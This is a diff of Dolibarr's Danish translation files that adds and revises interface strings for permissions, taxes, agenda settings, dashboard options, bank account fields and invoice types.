Permission4002=Opret/ændre færdigheder/job/position Permission4003=Slet færdighed/job/stilling -Permission4020=Læs evalueringer -Permission4021=Opret/rediger din evaluering -Permission4022=Valider evaluering -Permission4023=Slet evaluering -Permission4030=Se sammenligningsmenu +Permission4021=Læs evalueringer (dine og dine underordnede) +Permission4022=Opret/ændre evalueringer +Permission4023=Valider evaluering +Permission4025=Slet evaluering +Permission4028=Se sammenligningsmenu Permission4031=Læs personlige oplysninger Permission4032=Skriv personlige oplysninger +Permission4033=Læs alle evalueringer (også dem fra brugere, der ikke er underordnede) Permission10001=Læs webside indhold Permission10002=Opret/rediger webside indhold (html og javascript indhold) Permission10003=Opret/rediger webside indhold (dynamisk php-kode). Farligt, skal forbeholdes betroede udviklere. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Type af afhændelse af aktiver TypeOfUnit=Type af måleenhed SetupSaved=Opsætningen er gemt SetupNotSaved=Opsætningen er ikke gemt +OAuthServiceConfirmDeleteTitle=Slet OAuth-post +OAuthServiceConfirmDeleteMessage=Er du sikker på, at du vil slette denne OAuth-post? Alle eksisterende tokens for det vil også blive slettet. +ErrorInEntryDeletion=Fejl ved sletning af indtastning +EntryDeleted=Indlæg slettet BackToModuleList=Tilbage til modullisten BackToDictionaryList=Tilbage til ordbogslisten TypeOfRevenueStamp=Type af stempelmærker @@ -1092,10 +1107,10 @@ VATIsNotUsedExampleFR=I Frankrig betyder det foreninger, der ikke er angivet oms ##### Local Taxes ##### TypeOfSaleTaxes=Momstype LTRate=Sats -LocalTax1IsNotUsed=Brug ikke anden afgift -LocalTax1IsUsedDesc=Brug en anden type afgift (andre end den første) +LocalTax1IsNotUsed=Brug ikke sekundær afgift +LocalTax1IsUsedDesc=Brug en sekundær afgiftstype (andre end den første) LocalTax1IsNotUsedDesc=Brug ikke anden type afgift (andre end den første) -LocalTax1Management=Anden type afgift +LocalTax1Management=Sekundær afgiftstype LocalTax1IsUsedExample= LocalTax1IsNotUsedExample= LocalTax2IsNotUsed=Brug ikke tredje type afgift @@ -1222,7 +1237,7 @@ SetupDescription4=%s -> %s

      Denne software er en pakke me SetupDescription5=Andet opsætning menu administrerer yderligere parametre. SetupDescriptionLink=%s - %s SetupDescription3b=Grundlæggende parametre, der bruges til at tilpasse standardadfærden for din applikations standardfunktioner (f.eks. til lande specifikke funktioner). -SetupDescription4b=Denne software er en pakke med mange moduler. De moduler, der er relateret til dine behov, skal aktiveres og konfigureres. Menupunkter vises ved aktiveringen af disse moduler. +SetupDescription4b=Denne software er en suite af mange moduler/applikationer. De moduler, der er relateret til dine behov, skal aktiveres. Menupunkter vises ved aktivering af disse moduler. AuditedSecurityEvents=Sikkerhedshændelser, der revideres NoSecurityEventsAreAduited=Ingen sikkerhedshændelser revideres. Du kan aktivere dem fra menuen %s Audit=Sikkerhedshændelser @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Opsætningsparametre kan kun indstilles af administratorbrug SystemInfoDesc=Systemoplysninger er diverse tekniske oplysninger, du får i skrivebeskyttet tilstand og kun synlige for administratorer. SystemAreaForAdminOnly=Dette område er kun tilgængeligt for administratorbrugere. Dolibarr brugerrettigheder kan ikke ændre denne begrænsning. CompanyFundationDesc=Rediger oplysningerne om din virksomhed/organisation. Klik på knappen "%s" nederst på siden, når du er færdig. +MoreNetworksAvailableWithModule=Flere sociale netværk kan være tilgængelige ved at aktivere modulet "Sociale netværk". AccountantDesc=Hvis du har en ekstern revisor/bogholder, kan du her redigere dennes oplysninger. AccountantFileNumber=Revisorkode DisplayDesc=Parametre, der påvirker udseendet og præsentationen af applikationen, kan ændres her. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Udløsere i denne fil er aktive, da modulet %s - Operationskategori: Levering af varer
      - Operationskategori: Levering af tjenesteydelser
      - Operationskategori: Blandet og levering af varer +InvoiceOptionCategoryOfOperationsYes1=Ja, under adresseblokken +InvoiceOptionCategoryOfOperationsYes2=Ja, i nederste venstre hjørne ##### Proposals ##### PropalSetup=Opsætning af tilbuds modul ProposalsNumberingModules=Tilbud nummererings format @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Vandmærke på udkast til kontrakt (ingen hvis tom ##### Members ##### MembersSetup=Opsætning af medlemsmodul MemberMainOptions=Standardmuligheder +MemberCodeChecker=Muligheder for automatisk generering af medlemskoder AdherentLoginRequired= Administrer et login for hvert medlem AdherentMailRequired=E-mail påkrævet for at oprette et nyt medlem MemberSendInformationByMailByDefault=Afkrydsningsfeltet for at sende mailbekræftelse til medlemmer (validering eller nyt abonnement) er slået til som standard MemberCreateAnExternalUserForSubscriptionValidated=Opret et eksternt brugerlogin for hvert nyt medlemsabonnement, der valideres -VisitorCanChooseItsPaymentMode=Besøgende kan vælge mellem tilgængelige betalingsformer +VisitorCanChooseItsPaymentMode=Besøgende kan vælge mellem alle tilgængelige betalingsformer MEMBER_REMINDER_EMAIL=Aktiver automatisk påmindelse via e-mail om udløbne abonnementer. Bemærk: Modul %s skal være aktiveret og korrekt opsat for at sende påmindelser. MembersDocModules=Dokumentskabeloner til dokumenter genereret fra medlemsregistrering ##### LDAP setup ##### @@ -1719,7 +1743,7 @@ MailingEMailError=Returnerings e-mail (fejl-til) for e-mails med fejl MailingDelay=Sekunder at vente efter afsendelse af næste besked ##### Notification ##### NotificationSetup=Opsætning af e-mail meddelelsesmodul -NotificationEMailFrom=Afsender-e-mail (Fra) for e-mails sendt af meddelelsesmodulet +NotificationEMailFrom=Afsender e-mail (Fra) for e-mails sendt af meddelelsesmodulet FixedEmailTarget=Modtager NotificationDisableConfirmMessageContact=Skjul listen over modtagere (abonnerer som kontakt) af meddelelser i bekræftelses meddelelsen NotificationDisableConfirmMessageUser=Skjul listen over modtagere (abonnerer som bruger) af meddelelser i bekræftelses meddelelsen @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Aktiver avanceret editor for: FCKeditorForNotePublic=WYSIWYG oprettelse/redigering af feltet "offentlige noter" på elementer FCKeditorForNotePrivate=WYSIWYG oprettelse/redigering af feltet "private noter" på elementer FCKeditorForCompany=WYSIWYG oprettelse/redigering af feltbeskrivelsen på elementer (undtagen varer/ydelser) -FCKeditorForProduct=WYSIWYG oprettelse/redigering af feltbeskrivelsen på varer/ydelser -FCKeditorForProductDetails=WYSIWYG oprettelse/redigering af produktdetalje linjer for alle enheder (tilbud, ordrer, fakturaer osv...). Advarsel: Brug af denne mulighed anbefales ikke, da det kan skabe problemer med specialtegn og sideformatering, når du genererer PDF-filer. +FCKeditorForProductDetails=WYSIWIG oprettelse/udgave af produktbeskrivelse eller linjer til objekter (linjer med forslag, ordrer, fakturaer, osv...). +FCKeditorForProductDetails2=Advarsel: Brug af denne mulighed til dette tilfælde anbefales seriøst ikke, da det kan skabe problemer med specialtegn og sideformatering, når du bygger PDF-filer. FCKeditorForMailing= WYSIWYG oprettelse/redigering af masse e-mails (Værktøjer->e-mailing) FCKeditorForUserSignature=WYSIWYG oprettelse/redigering af brugersignatur FCKeditorForMail=WYSIWYG oprettelse/redigering af al e-mail (undtagen Værktøjer->eMailing) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Menuhandler hvor den nye menu skal vises DetailMenuModule=Modulnavn, hvis menuindgangen kommer fra et modul DetailType=Menutype (øverst eller venstre) DetailTitre=Menuetiket eller etiketkode til oversættelse -DetailUrl=URL, hvor menuen sender dig (Absolut URL-link eller eksternt link med http://) +DetailUrl=URL, hvor menuen sender dig (Relativ URL-link eller eksternt link med https://) DetailEnabled=Betingelse for at vise eller ingen adgang DetailRight=Betingelse for at vise uautoriserede grå menuer DetailLangs=Lang filnavn til etiketkodeoversættelse @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Brug begivenhedstyper (administreret i menuen Opsætning - AGENDA_USE_EVENT_TYPE_DEFAULT=Indstil automatisk denne standardværdi for begivenhedstype i begivenhedsoprettelsesformularen AGENDA_DEFAULT_FILTER_TYPE=Indstil automatisk denne type begivenhed i søgefilteret i dagsordensvisningen AGENDA_DEFAULT_FILTER_STATUS=Indstil automatisk denne status for begivenheder i søgefilteret i dagsordensvisningen +AGENDA_EVENT_PAST_COLOR=Farve på tidligere begivenheder +AGENDA_EVENT_CURRENT_COLOR=Aktuel begivenhedsfarve +AGENDA_EVENT_FUTURE_COLOR=Fremtidig begivenhed farve AGENDA_DEFAULT_VIEW=Hvilken visning vil du som standard åbne, når du vælger menu Tidsplan AGENDA_REMINDER_BROWSER=Aktiver hændelsespåmindelse på brugerens browser (Når påmindelsesdatoen er nået, vises en pop op af browseren. Hver bruger kan deaktivere sådanne meddelelser fra sin browsermeddelelsesopsætning). AGENDA_REMINDER_BROWSER_SOUND=Aktiver lydmeddelelse @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Lagerreduktion i POS er ikke kompatib CashDeskYouDidNotDisableStockDecease=Du deaktiverede ikke lagerreduktion, da du foretog et salg fra Point of Sale. Derfor er et lager påkrævet. CashDeskForceDecreaseStockLabel=Lagerreduktion for batchprodukter blev tvunget til. CashDeskForceDecreaseStockDesc=Reducer først med de ældste Bedst før/Sidste anvendelses datoer. -CashDeskReaderKeyCodeForEnter=Karakterkode for "Enter" defineret i stregkodelæser (eksempel: 13) +CashDeskReaderKeyCodeForEnter=Nøgle ASCII-kode for "Enter" defineret i stregkodelæser (eksempel: 13) ##### Bookmark ##### BookmarkSetup=Opsætning af bogmærkemodul BookmarkDesc=Dette modul giver dig mulighed for at administrere bogmærker. Du kan også tilføje genveje til alle Dolibarr sider eller eksterne websteder i din venstre menu. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Leverandørfakturaer nummereringsmodeller IfSetToYesDontForgetPermission=Glem ikke at give rettigheder til grupper eller brugere, der er autoriseret for den anden godkendelse, hvis sat til en ikke-nul værdi ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Opsætning af GeoIP Maxmind modul -PathToGeoIPMaxmindCountryDataFile=Sti til fil, der indeholder Maxmind ip til land oversættelse.
      Eksempler:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Sti til fil, der indeholder Maxmind ip til land oversættelse NoteOnPathLocation=Bemærk, at din ip til lande-datafil skal være i en mappe, som din PHP kan læse (kontroller din PHP open_basedir opsætning og filsystemrettigheder). YouCanDownloadFreeDatFileTo=Du kan downloade en gratis demoversion af Maxmind GeoIP landefilen på %s. YouCanDownloadAdvancedDatFileTo=Du kan også downloade en mere komplet version med opdateringer, af Maxmind GeoIP landefilen på %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Guiden til at oprette database-backupfilen BackupZipWizard=Guiden til at opbygge arkivet af dokumenter SomethingMakeInstallFromWebNotPossible=Installation af eksternt modul er ikke mulig fra webgrænsefladen af følgende årsag: SomethingMakeInstallFromWebNotPossible2=Af denne grund er processen til opgradering beskrevet her en manuel proces, som kun en privilegeret bruger kan udføre. +InstallModuleFromWebHasBeenDisabledContactUs=Installation eller udvikling af eksterne moduler eller dynamiske websteder fra applikationen er i øjeblikket låst af sikkerhedsmæssige årsager. Kontakt os venligst, hvis du har brug for at aktivere denne funktion. InstallModuleFromWebHasBeenDisabledByFile=Installation af eksternt modul fra applikationen er blevet deaktiveret af din administrator. Du skal bede ham om at fjerne filen %s for at tillade denne funktion. ConfFileMustContainCustom=Installation eller opbygning af et eksternt modul fra applikationen skal gemme modulfilerne i mappen %s. For at få denne mappe behandlet af Dolibarr, skal du konfigurere din conf/conf.php for at tilføje de 2 direktivlinjer:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Fremhæv tabellinjer, når musen bevæges over @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Fjern specialtegn COMPANY_AQUARIUM_CLEAN_REGEX=Regex-filter for at rense værdi (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex-filter for at rense værdi (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplikat er ikke tilladt +RemoveSpecialWords=Rengør visse ord, når du genererer underkonti til kunder eller leverandører +RemoveSpecialWordsHelp=Angiv de ord, der skal renses, før du beregner kunde- eller leverandørkontoen. Brug en ";" mellem hvert ord GDPRContact=Databeskyttelsesansvarlig (DPO, databeskyttelse eller GDPR-kontakt) GDPRContactDesc=Hvis du opbevarer personoplysninger i dit informationssystem, kan du her navngive den kontaktperson, der er ansvarlig for GDPR HelpOnTooltip=Hjælpetekst til at vise på værktøjstip @@ -2062,7 +2092,7 @@ ChartLoaded=Kontoplan indlæst SocialNetworkSetup=Opsætning af Sociale netværk modul EnableFeatureFor=Aktiver funktioner til %s VATIsUsedIsOff=Bemærk: Muligheden for at bruge moms er sat til Off i menuen %s - %s, så moms sats vil altid være 0 for salg. -SwapSenderAndRecipientOnPDF=Skift afsender- og modtageradresseposition på PDF-dokumenter +SwapSenderAndRecipientOnPDF=Byt afsender- og modtageradresse placering i PDF-dokumenter FeatureSupportedOnTextFieldsOnly=Advarsel, funktion understøttet kun på tekstfelter og kombinationslister. Også en URL-parameter action=create eller action=edit skal indstilles ELLER sidenavn skal slutte med 'new.php' for at udløse denne funktion. EmailCollector=E-mail samler EmailCollectors=E-mail samlere @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Postkassens målmappe EmailcollectorOperations=Operationer, der skal udføres af samler EmailcollectorOperationsDesc=Operationer udføres fra top til bund MaxEmailCollectPerCollect=Maks. antal indsamlede e-mails pr. indsamling +TestCollectNow=Prøv indsamling CollectNow=Indsaml nu ConfirmCloneEmailCollector=Er du sikker på, at du vil klone e-mail samleren %s? DateLastCollectResult=Dato for seneste opsamlingsforsøg @@ -2109,6 +2140,7 @@ CodeLastResult=Seneste resultatkode NbOfEmailsInInbox=Antal e-mails i kildekataloget LoadThirdPartyFromName=Indlæs tredjepartssøgning på %s (kun indlæsning) LoadThirdPartyFromNameOrCreate=Indlæs tredjepartssøgning på %s (opret, hvis den ikke findes) +LoadContactFromEmailOrCreate=Indlæs kontaktsøgning på %s (opret, hvis den ikke findes) AttachJoinedDocumentsToObject=Gem vedhæftede filer i objektdokumenter, hvis der findes en ref af et objekt i e-mail emnet. WithDolTrackingID=Besked fra en samtale initieret af en første e-mail sendt fra Dolibarr WithoutDolTrackingID=Besked fra en samtale initieret af en første e-mail IKKE sendt fra Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Projektetiket PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Inkluder alias i tredjepartsnavn THIRDPARTY_ALIAS=Navn tredjepart - Alias tredjepart ALIAS_THIRDPARTY=Alias tredjepart - Navngiv tredjepart +PDFIn2Languages=Vis etiketter til PDF på 2 forskellige sprog PDF_USE_ALSO_LANGUAGE_CODE=Hvis du vil have nogle tekster i din PDF duplikeret på 2 forskellige sprog i den samme genererede PDF, skal du her indstille dette andet sprog, så genereret PDF vil indeholde 2 forskellige sprog på samme side, det der blev valgt ved generering af PDF og dette (kun få PDF-skabeloner understøtter dette). Hold tom for et sprog pr. PDF. PDF_USE_A=Generer PDF-dokumenter med formatet PDF/A i stedet for standardformatet PDF FafaIconSocialNetworksDesc=Indtast her koden for et FontAwesome-ikon. Hvis du ikke ved, hvad FontAwesome er, kan du bruge den generiske værdi fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnerskab AGENDA_EVENT_DEFAULT_STATUS=Standard hændelsesstatus ved oprettelse af en hændelse fra formularen YouShouldDisablePHPFunctions=Du bør deaktivere PHP-funktioner IfCLINotRequiredYouShouldDisablePHPFunctions=Undtagen hvis du har brug for at køre systemkommandoer i brugerdefineret kode, skal du deaktivere PHP-funktioner -PHPFunctionsRequiredForCLI=Til shell-formål (som planlagt jobbackup eller kørsel af et antitivurs-program), skal du beholde PHP-funktioner +PHPFunctionsRequiredForCLI=Til shell-formål (som planlagt jobbackup eller kørsel af et antivirusprogram), skal du beholde PHP-funktioner NoWritableFilesFoundIntoRootDir=Der blev ikke fundet nogen skrivbare filer eller mapper for de almindelige programmer i din rodmappe (godt) RecommendedValueIs=Anbefalet: %s Recommended=Anbefalede NotRecommended=Ikke anbefalet -ARestrictedPath=Nogle begrænsede veje +ARestrictedPath=En eller anden begrænset sti til datafiler CheckForModuleUpdate=Se efter opdateringer til eksterne moduler CheckForModuleUpdateHelp=Denne handling vil oprette forbindelse til redaktører af eksterne moduler for at kontrollere om en ny version er tilgængelig. ModuleUpdateAvailable=En opdatering er tilgængelig @@ -2232,19 +2265,19 @@ YouShouldSetThisToOff=Du skal indstille dette til 0 eller fra InstallAndUpgradeLockedBy=Installation og opgraderinger er låst af filen %s OldImplementation=Gammel implementering PDF_SHOW_LINK_TO_ONLINE_PAYMENT=Hvis nogle online betalingsmoduler er aktiveret (Paypal, Stripe, ...), skal du tilføje et link i PDF'en for at foretage onlinebetalingen -DashboardDisableGlobal=Deaktiver globalt alle tommelfingre på åbne objekter +DashboardDisableGlobal=Deaktiver globalt alle miniaturebilleder på åbne objekter BoxstatsDisableGlobal=Deaktiver fuldstændig boksstatistikker -DashboardDisableBlocks=Tommelfinger af åbne objekter (til at behandle eller sent) på det primære dashboard -DashboardDisableBlockAgenda=Deaktiver tommelfingeren for dagsorden -DashboardDisableBlockProject=Deaktiver tommelfingeren for projekter -DashboardDisableBlockCustomer=Deaktiver tommelfingeren for kunder -DashboardDisableBlockSupplier=Deaktiver tommelfingeren for leverandører -DashboardDisableBlockContract=Deaktiver tommelfingeren for kontrakter -DashboardDisableBlockTicket=Deaktiver tommelfingeren for billetter -DashboardDisableBlockBank=Deaktiver tommelfingeren for banker -DashboardDisableBlockAdherent=Deaktiver tommelfingeren for medlemskaber -DashboardDisableBlockExpenseReport=Deaktiver tommelfingeren for udgiftsrapporter -DashboardDisableBlockHoliday=Deaktiver tommelfingeren for fravær +DashboardDisableBlocks=Miniaturebilleder af åbne objekter (til at behandle eller sent) på det primære dashboard +DashboardDisableBlockAgenda=Deaktiver miniaturebilleder for dagsorden +DashboardDisableBlockProject=Deaktiver miniaturebilleder for projekter +DashboardDisableBlockCustomer=Deaktiver miniaturebilleder for kunder +DashboardDisableBlockSupplier=Deaktiver miniaturebilleder for leverandører +DashboardDisableBlockContract=Deaktiver miniaturebilleder for kontrakter +DashboardDisableBlockTicket=Deaktiver miniaturebilleder for billetter +DashboardDisableBlockBank=Deaktiver miniaturebilleder for banker +DashboardDisableBlockAdherent=Deaktiver miniaturebilleder for medlemskaber +DashboardDisableBlockExpenseReport=Deaktiver miniaturebilleder for udgiftsrapporter +DashboardDisableBlockHoliday=Deaktiver miniaturebilleder for fravær EnabledCondition=Betingelse for at have felt aktiveret (hvis ikke aktiveret, vil synlighed altid være slået fra) IfYouUseASecondTaxYouMustSetYouUseTheMainTax=Hvis du vil bruge en anden moms, skal du også aktivere den første moms IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=Hvis du vil bruge en tredje moms, skal du også aktivere den første moms @@ -2264,10 +2297,10 @@ LateWarningAfter="Sen" advarsel efter TemplateforBusinessCards=Skabelon til visitkort i forskellig størrelse InventorySetup= Lageropsætning ExportUseLowMemoryMode=Brug en tilstand med lav hukommelse -ExportUseLowMemoryModeHelp=Brug tilstanden med lav hukommelse til at udføre exec af dumpet (komprimering sker gennem en pipe i stedet for i PHP-hukommelsen). Denne metode tillader ikke at kontrollere, at filen er fuldført, og fejlmeddelelsen kan ikke rapporteres, hvis den mislykkes. +ExportUseLowMemoryModeHelp=Brug tilstanden med lav hukommelse til at generere dump-filen (komprimering sker gennem et rør i stedet for ind i PHP-hukommelsen). Denne metode tillader ikke at kontrollere, at filen er komplet, og fejlmeddelelsen kan ikke rapporteres, hvis den mislykkes. Brug det, hvis du oplever ikke nok hukommelsesfejl. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface til at fange dolibarr-udløsere og sende det til en URL +ModuleWebhookDesc = Interface til at fange dolibarr-udløsere og sende data om hændelsen til en URL WebhookSetup = Webhook opsætning Settings = Indstillinger WebhookSetupPage = Webhook opsætningsside @@ -2288,6 +2321,8 @@ IconOnly=Kun ikon - Kun tekst som værktøjstip INVOICE_ADD_ZATCA_QR_CODE=Vis ZATCA QR-koden på fakturaer INVOICE_ADD_ZATCA_QR_CODEMore=Nogle arabiske lande har brug for denne QR-kode på deres fakturaer INVOICE_ADD_SWISS_QR_CODE=Vis den schweiziske QR-Bill-kode på fakturaer +INVOICE_SHOW_SHIPPING_ADDRESS=Vis leveringsadresse +INVOICE_SHOW_SHIPPING_ADDRESSMore=Obligatorisk omtale for Frankrig UrlSocialNetworksDesc=URL-link til socialt netværk. Brug {socialid} til den variable del, der indeholder det sociale netværks-id. IfThisCategoryIsChildOfAnother=Hvis denne kategori er en under kategori af en anden DarkThemeMode=Mørkt tematilstand @@ -2307,3 +2342,37 @@ UsePassword=Brug en adgangskode UseOauth=Brug en OAUTH token Images=Billeder MaxNumberOfImagesInGetPost=Maks. antal billeder tilladt i et HTML-felt indsendt i en formular +MaxNumberOfPostOnPublicPagesByIP=Max antal indlæg på offentlige sider med samme IP-adresse i en måned +CIDLookupURL=Modulet bringer en URL, der kan bruges af et eksternt værktøj til at hente navnet på en tredjepart eller kontakt fra dens telefonnummer. URL der skal bruges er: +ScriptIsEmpty=Scriptet er tomt +ShowHideTheNRequests=Vis/skjul %s SQL-anmodning(er) +DefinedAPathForAntivirusCommandIntoSetup=Definer en sti for et antivirusprogram til %s +TriggerCodes=Udløselige hændelser +TriggerCodeInfo=Indtast her triggerkoden(e), der skal generere et indlæg af en webanmodning (kun ekstern URL er tilladt). Du kan indtaste flere triggerkoder adskilt af et komma. +EditableWhenDraftOnly=Hvis det ikke er markeret, kan værdien kun ændres, når objektet har en kladdestatus +CssOnEdit=Css på redigeringssider +CssOnView=Css på visningssider +CssOnList=Css på listesider +HelpCssOnEditDesc=Den Css, der bruges ved redigering af feltet.
      Eksempel: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=Den Css, der bruges, når du ser feltet. +HelpCssOnListDesc=Css'en, der bruges, når feltet er inde i en listetabel.
      Eksempel: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Skjul den bestilte mængde på de genererede dokumenter til receptioner +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Vis prisen på de genererede dokumenter til receptioner +WarningDisabled=Advarsel deaktiveret +LimitsAndMitigation=Adgangsgrænser og afbødning +DesktopsOnly=Kun på Computer +DesktopsAndSmartphones=Desktops og smartphones +AllowOnlineSign=Tillad online signering +AllowExternalDownload=Tillad ekstern download (uden login, ved hjælp af et delt link) +DeadlineDayVATSubmission=Deadline dag for momsindsendelse den næste måned +MaxNumberOfAttachementOnForms=Maks. antal sammenføjede filer i en formular +IfDefinedUseAValueBeetween=Hvis det er defineret, skal du bruge en værdi mellem %s og %s +Reload=Genindlæs +ConfirmReload=Bekræft modulgenindlæsning +WarningModuleHasChangedLastVersionCheckParameter=Advarsel: modulet %s har indstillet en parameter til at kontrollere sin version ved hver sideadgang. Dette er en dårlig og ikke tilladt praksis, der kan gøre siden til at administrere moduler ustabil. Kontakt venligst forfatteren af modulet for at rette dette. +WarningModuleHasChangedSecurityCsrfParameter=Advarsel: modulet %s har deaktiveret CSRF-sikkerheden for din instans. Denne handling er mistænkelig, og din installation er muligvis ikke længere sikret. Kontakt venligst forfatteren af modulet for forklaring. +EMailsInGoingDesc=Indgående e-mails administreres af modulet %s. Du skal aktivere og konfigurere det, hvis du har brug for at understøtte indgående e-mails. +MAIN_IMAP_USE_PHPIMAP=Brug PHP-IMAP-biblioteket til IMAP i stedet for native PHP IMAP. Dette tillader også brugen af en OAuth2-forbindelse til IMAP (modulet OAuth skal også være aktiveret). +MAIN_CHECKBOX_LEFT_COLUMN=Vis kolonnen for felt- og linjevalg til venstre (til højre som standard) + +CSSPage=CSS stil diff --git a/htdocs/langs/da_DK/agenda.lang b/htdocs/langs/da_DK/agenda.lang index 8e8daa1f91d..d9f4e15738f 100644 --- a/htdocs/langs/da_DK/agenda.lang +++ b/htdocs/langs/da_DK/agenda.lang @@ -68,6 +68,7 @@ ShipmentBackToDraftInDolibarr=Forsendelse %s gå tilbage til udkast status ShipmentDeletedInDolibarr=Forsendelse %s slettet ShipmentCanceledInDolibarr=Forsendelse %s annulleret ReceptionValidatedInDolibarr=Modtagelse %s valideret +ReceptionDeletedInDolibarr=Modtagelse %s slettet ReceptionClassifyClosedInDolibarr=Receptionen %s klassificeret lukket OrderCreatedInDolibarr=Bestil %s oprettet OrderValidatedInDolibarr=Ordre %s bekræftet @@ -87,6 +88,7 @@ SupplierInvoiceSentByEMail=Vendor invoice %s sendt af email ShippingSentByEMail=Forsendelse %s sendt af email ShippingValidated= Forsendelse %s bekræftet InterventionSentByEMail=Intervention %s sendt af email +ProjectSentByEMail=Projekt %s sendt via e-mail ProposalDeleted=Forslag slettet OrderDeleted=Ordre slettet InvoiceDeleted=Faktura slettet @@ -175,5 +177,6 @@ ReminderType=Tilbagekaldelsestype AddReminder=Opret en automatisk påmindelsesmeddelelse om denne begivenhed ErrorReminderActionCommCreation=Fejl ved oprettelse af påmindelsesmeddelelsen for denne begivenhed BrowserPush=Browser pop op meddelelse +Reminders=Påmindelser ActiveByDefault=Aktiveret som standard Until=indtil diff --git a/htdocs/langs/da_DK/banks.lang b/htdocs/langs/da_DK/banks.lang index f86ad9814dc..e6e98e53869 100644 --- a/htdocs/langs/da_DK/banks.lang +++ b/htdocs/langs/da_DK/banks.lang @@ -49,6 +49,9 @@ BankAccountDomiciliation=Bank adresse BankAccountCountry=Konto land BankAccountOwner=Konto ejer navn BankAccountOwnerAddress=Konto ejer adresse +BankAccountOwnerZip=Kontoejer post Nr. +BankAccountOwnerTown=Kontoejer by +BankAccountOwnerCountry=Kontoejerland CreateAccount=Opret konto NewBankAccount=Ny konto NewFinancialAccount=Ny finansiel konto @@ -112,7 +115,7 @@ TransferDesc=Brug intern overførsel til at overføre fra en konto til en anden, TransferFrom=Fra TransferTo=Til TransferFromToDone=En overførsel fra %s til %s af %s %s er blevet optaget. -CheckTransmitter=Sender +CheckTransmitter=Afsender ValidateCheckReceipt=Bekræft denne kvitteringskvittering? ConfirmValidateCheckReceipt=Er du sikker på, at du vil indsende denne checkkvittering til validering? Ingen ændringer er mulige, når de er valideret. DeleteCheckReceipt=Slet denne kvittering for kvittering? @@ -185,4 +188,3 @@ AlreadyOneBankAccount=Allerede en bankkonto defineret SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=SEPA-overførsel: 'Betalingstype' på 'Kreditoverførsel'-niveau SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=Når du genererer en SEPA XML-fil til kreditoverførsler, kan sektionen "PaymentTypeInformation" nu placeres i sektionen "CreditTransferTransactionInformation" (i stedet for sektionen "Payment"). Vi anbefaler kraftigt at holde dette umarkeret for at placere PaymentTypeInformation på betalingsniveau, da alle banker ikke nødvendigvis vil acceptere det på CreditTransferTransactionInformation-niveau. Kontakt din bank, før du placerer PaymentTypeInformation på CreditTransferTransactionInformation-niveau. ToCreateRelatedRecordIntoBank=For at oprette manglende relateret bankpost -BanklineExtraFields=Bank Line Extrafields diff --git a/htdocs/langs/da_DK/bills.lang b/htdocs/langs/da_DK/bills.lang index 8724ad4fa90..dbc3b09ee85 100644 --- a/htdocs/langs/da_DK/bills.lang +++ b/htdocs/langs/da_DK/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=Statistik for kundefakturaer BillsStatisticsSuppliers=Statistik for leverandørfakturaer DisabledBecauseDispatchedInBookkeeping=Deaktiveret, fordi fakturaen blev sendt til bogføring DisabledBecauseNotLastInvoice=Deaktiveret, fordi fakturaen ikke kan sletes. Nogle fakturaer blev registreret efter denne og det vil skabe huller i bogføringen. +DisabledBecauseNotLastSituationInvoice=Deaktiveret, fordi faktura ikke kan slettes. Denne faktura er ikke den sidste i situationens fakturacyklus. DisabledBecauseNotErasable=Deaktiveret, da sletning ikke er muligt InvoiceStandard=Standardfaktura InvoiceStandardAsk=Standardfaktura InvoiceStandardDesc=Denne type faktura benyttes som standard. +InvoiceStandardShort=Standard InvoiceDeposit=Afdrag InvoiceDepositAsk=Afdrag InvoiceDepositDesc=Denne type faktura benyttes, når der er modtaget et afdrag. @@ -24,6 +26,7 @@ InvoiceProForma=Proformafaktura InvoiceProFormaAsk=Proformafaktura InvoiceProFormaDesc=Proformafakturaen ligner en ægte faktura, men har ingen regnskabsmæssig værdi. InvoiceReplacement=Erstatningsfaktura. +InvoiceReplacementShort=Udskiftning InvoiceReplacementAsk=Erstatningsfaktura for faktura InvoiceReplacementDesc=Erstatningsfaktura bruges til at annullere og erstatte en faktura uden modtaget betaling .

